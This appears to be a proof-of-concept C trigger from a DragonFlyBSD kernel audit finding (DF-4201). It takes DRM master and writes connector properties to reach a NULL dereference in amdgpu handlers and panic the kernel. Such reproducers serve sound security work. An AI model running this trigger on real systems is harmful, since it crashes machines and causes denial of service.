โฌข DragonFlyBSD Kernel Audit
DF-4201 / trigger_df4201.c
โ† back to finding โ†“ download raw
/*
 * trigger_df4201.c โ€” DF-4201: NULL amdgpu_encoder dereference family after
 * best_encoder() in connector property handlers + monitor-bpc path
 * (sys/dev/drm/amd/amdgpu/amdgpu_connectors.c:139-141, 583-594, 792-803).
 *
 * On amdgpu hardware whose VBIOS lists a connector with no matching encoder
 * object (empty possible-encoder list after amdgpu_link_encoder_connector,
 * amdgpu_encoders.c:45-56), setting the connector's "scaling mode" property
 * walks into:
 *
 *   amdgpu_connector_set_property (:583-584):
 *       amdgpu_encoder = to_amdgpu_encoder(best_encoder(connector));  // NULL
 *       ... amdgpu_encoder->rmx_type ...                              (:594)
 *   amdgpu_connector_set_lcd_property (:792-793): same, deref at :803
 *   amdgpu_connector_get_monitor_bpc (:139-141): same + enc_priv NULL
 *       deref (dce_v*_0.c:3494 sets enc_priv = NULL for encoders whose
 *       get_lcd_info/get_dig_info kzalloc failed), deref dig->lcd_misc
 *       at :143 โ€” reached from every modeset via atombios_crtc.c:773.
 *
 * The ioctls are DRM_MASTER-gated (drm_ioctl.c:667/679) โ€” the display owner
 * (X/wayland/logind session) is the attacker; a NULL-page deref panic is
 * the result.
 *
 * Trigger: become master, list properties, write every supported
 * scaling-mode value to each connector's scaling-mode property.
 * Self-contained struct defs โ€” no libdrm needed.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdint.h>

typedef uint32_t __u32;
typedef uint64_t __u64;

#define DRM_IOCTL_BASE			'd'
#define DRM_IOCTL_SET_MASTER		_IO(DRM_IOCTL_BASE, 0x1e)
#define DRM_IOCTL_MODE_GETRESOURCES	_IOWR(DRM_IOCTL_BASE, 0xA0, struct drm_mode_card_res)
#define DRM_IOCTL_MODE_GETCONNECTOR	_IOWR(DRM_IOCTL_BASE, 0xA7, struct drm_mode_get_connector)
#define DRM_IOCTL_MODE_OBJ_SETPROPERTY	_IOWR(DRM_IOCTL_BASE, 0xBA, struct drm_mode_obj_set_property)

struct drm_mode_card_res {
	__u64 fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr;
	__u32 count_fbs, count_crtcs, count_connectors, count_encoders;
	__u32 min_width, max_width, min_height, max_height;
};
struct drm_mode_get_connector {
	__u64 encoders_ptr, modes_ptr, props_ptr, prop_values_ptr;
	__u32 count_modes, count_props, count_encoders;
	__u32 encoder_id, connector_id, connector_type, connector_type_id;
	__u32 connection, mm_width, mm_height, subpixel;
};
struct drm_mode_obj_set_property {
	__u64 value;
	__u32 prop_id, obj_id, obj_type;
	__u32 pad;
};
#define DRM_MODE_OBJECT_CONNECTOR 0xc0c0c0c0

int main(void)
{
	struct drm_mode_card_res res;
	struct drm_mode_get_connector conn;
	struct drm_mode_obj_set_property sp;
	__u32 prop_ids[64];
	__u64 prop_values[64];
	int fd, i, p;

	fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("DF-4201 trigger: no /dev/dri/card0 โ€” no DRM hardware on "
		       "this guest; amdgpu property handlers unreachable.\n");
		return 1;
	}
	if (ioctl(fd, DRM_IOCTL_SET_MASTER) < 0) {
		perror("SET_MASTER (another display server owns the device?)");
		return 1;
	}

	memset(&res, 0, sizeof(res));
	res.count_connectors = 0;
	ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
	__u32 ids[32];
	memset(ids, 0, sizeof(ids));
	res.connector_id_ptr = (__u64)ids;
	if (res.count_connectors > 32)
		res.count_connectors = 32;
	if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) {
		perror("GETRESOURCES");
		return 1;
	}
	printf("DF-4201 trigger: %u connectors\n", res.count_connectors);

	for (i = 0; i < (int)res.count_connectors; i++) {
		memset(&conn, 0, sizeof(conn));
		conn.connector_id = ids[i];
		conn.props_ptr = (__u64)prop_ids;
		conn.prop_values_ptr = (__u64)prop_values;
		conn.count_props = 64;
		if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &conn) < 0) {
			perror("GETCONNECTOR");
			continue;
		}
		for (p = 0; p < (int)conn.count_props && p < 64; p++) {
			/* scaling mode accepts 0..3 (NONE/CENTER/ASPECT/FULL);
			 * writing any of them reaches amdgpu_connector_set_property
			 * / _set_lcd_property scaling branch */
			memset(&sp, 0, sizeof(sp));
			sp.value = 1;	/* DRM_MODE_SCALE_CENTER */
			sp.prop_id = prop_ids[p];
			sp.obj_id = ids[i];
			sp.obj_type = DRM_MODE_OBJECT_CONNECTOR;
			if (ioctl(fd, DRM_IOCTL_MODE_OBJ_SETPROPERTY, &sp) == 0)
				printf("  connector %u prop %u <- 1 (ok)\n",
				       ids[i], prop_ids[p]);
		}
	}
	/*
	 * On a machine with an encoder-less amdgpu connector, the property
	 * write above dereferences NULL at amdgpu_connectors.c:594/:803 and
	 * the kernel panics before returning.
	 */
	printf("DF-4201 trigger: completed (no panic on this machine)\n");
	return 0;
}